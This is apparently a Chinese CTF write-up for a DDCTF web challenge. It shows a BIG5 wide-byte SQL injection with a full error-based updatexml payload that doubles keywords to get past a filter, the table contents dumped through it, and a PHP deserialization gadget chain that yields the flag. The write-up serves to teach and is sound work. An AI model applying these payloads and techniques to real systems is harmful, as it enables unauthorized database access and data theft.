注入的奥妙
在网页的源码里发现了一处注释
打开后发现是
BIG5
编码表,所以推测是宽字节
注入。
因为页面的属性是
UTF-8
所以推测后端应该是做了类似这个:
iconv('utf-8','BIG5',$_GET['id'])
的转换。又因为'
会被转义,变成\'
,所以我们考虑找一个BIG5
编码后最后一位是5C
的字符,这样查询时就变成\\'
把\
的作用取消掉。然后我们可以在字符查询网站找一下,传送门。
这是随便找的一个,当然,还有很多个符合条件的字。
然后成功拿到
POC
而且还是
报错注入
,这算是注入中效率比较高的一种方法了,然后注入的时候注入被过滤的函数,双写绕过即可。payload:1 | http://116.85.48.105:5033/4eaee5db-2304-4d6d-aa9c-962051d99a41/well/getmessage/1廄'and updupdatexmlatexml(1,concat(0x7e,substr((select rulepass from route_rules limit 0,1),1,30),0x7e),1) -- + |
具体的注入过程不再赘述。最后我们能拿到如下的表结构和键值。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23database ---> sqli
table ---> message
id
name
contents
route_rules
id
pattern
get*/:u/well/getmessage/:s
get*/:u/justtry/self/:s
post*/:u/justtry/try
static/bootstrap/css/backup.css
action
Well#getmessage
JustTry#self
JustTry#try
static/bootstrap/css/backup.zip
rulepass
cd4229e671a8830debfcbb049a23399c
5ed16f9c7c27cb846eaf15c19fe40093
3228ad498d5a20d1d22d6a4a15fed4d2
很明显有一个备份文件
,又是源码泄露。下载下来慢慢审计。
首先这是php的mvc设计模式,由Router.php
负责分发,然后在Justtry
类上,也就是我们从注入上得到的可以操作的类上发现了我们非常感兴趣的东西:序列化与反序列化
,所以一个清晰地念头就出来了。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32<?php
class Justtry extends Base
{
private $white = array('test', 'well','base','justtry');
public $flag;
public function __construct()
{
parent::__construct();
}
public function self($a='')
{
if (!in_array(strtolower($a), $this->white)) {
exit('类不存在');
}
$res=$this->ref->getclassall($a);
if (isset($res)) {
echo $res;
}
}
public function try($serialize)
{
unserialize(urldecode($serialize), ["allowed_classes" => ["Index\Helper\Flag", "Index\Helper\SQL","Index\Helper\Test"]]);
}
public function send()
{ //省略
}
}
我们可以发现允许序列化的类只有:Flag、SQL、Test
,所以我们重点关注一下这三个类,寻找获取flag
的条件。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33// Test.php
<?php
class Test
{
public $user_uuid;
public $fl;
public function __construct()
{
echo 'hhkjjhkhjkhjkhkjhkhkhk';
}
public function __destruct()
{
$this->getflag('ctfuser', $this->user_uuid);
}
public function setflag($m = 'ctfuser', $u = 'default', $o = 'default')
{ // 省略
}
public function getflag($m = 'ctfuser', $u = 'default')
{
//TODO: check username
// 需要知道id
$user=array(
'name' => $m,
'id' => $u
);
//懒了直接输出给你们了
echo 'DDCTF{'.$this->fl->get($user).'}';
}
}
可以看到Test
类的__destruct()
调用了getflag()
,所以推测这是我们序列化的入口
。而它里面调用的get($user)
方法是属于Flag
类的。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18// Flag.php
<?php
class Flag
{
public $sql;
public function __construct()
{
$this->sql=new SQL();
}
public function get($user)
{
$tmp=$this->sql->FlagGet($user);
if ($tmp['status']===1) {
return $this->sql->FlagGet($user)['flag'];
}
}
}
截取SQL
类的FlagGet()
方法:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20<?php
public function FlagGet($user)
{
$this->dbc = new FLDbConnect();
$this->pdo = $this->dbc->getPDO();
//TODO :CHECK UNIQUE
$user['name']= $user['name'];
$user['id']= $user['id'];
$sth = $this->pdo->prepare('SELECT `username`,`flags`,`uuid` FROM `passflag` WHERE `uuid` = :uuid AND `username` = :name');
$sth->bindValue(':uuid', $user['id'], $this->pdo::PARAM_STR);
$sth->bindValue(':name', $user['name'], $this->pdo::PARAM_STR);
if ($sth->execute()) {
$result = $sth->fetch($this->pdo::FETCH_ASSOC);
return array('status'=>1,'msg'=>'success','flag'=> $result['flags']);
} else {
return array('status'=>0,'msg'=>implode(' ', $this->pdo->errorInfo()));
}
}
到这,我们可以初步确定Test
类中的$fl
属性的值为Flag
类,但$user_uuid
的值我们还不能确定,所以,我们来找找这个值。
在UUID.php
里我们可以发现关于uuid
的定义,它的形式如下:
看到上面的形式然后再看看我们的url里面的
4eaee5db-2304-4d6d-aa9c-962051d99a41
,是不是很符合,所以我就大胆的试了一下,使用下面的脚本进行序列化:1 | <?php |
注意:一定不要忘记namespace Index\Helper
,不然服务器序列化失败。
我们将得到的序列化结果先进行url encode
一下,然后再提交。
最后flag:
DDCTF{9b6b97fe2980c5ed24bdb980c8994d81a26a363e07d92fd74070ee63e5e40911}
。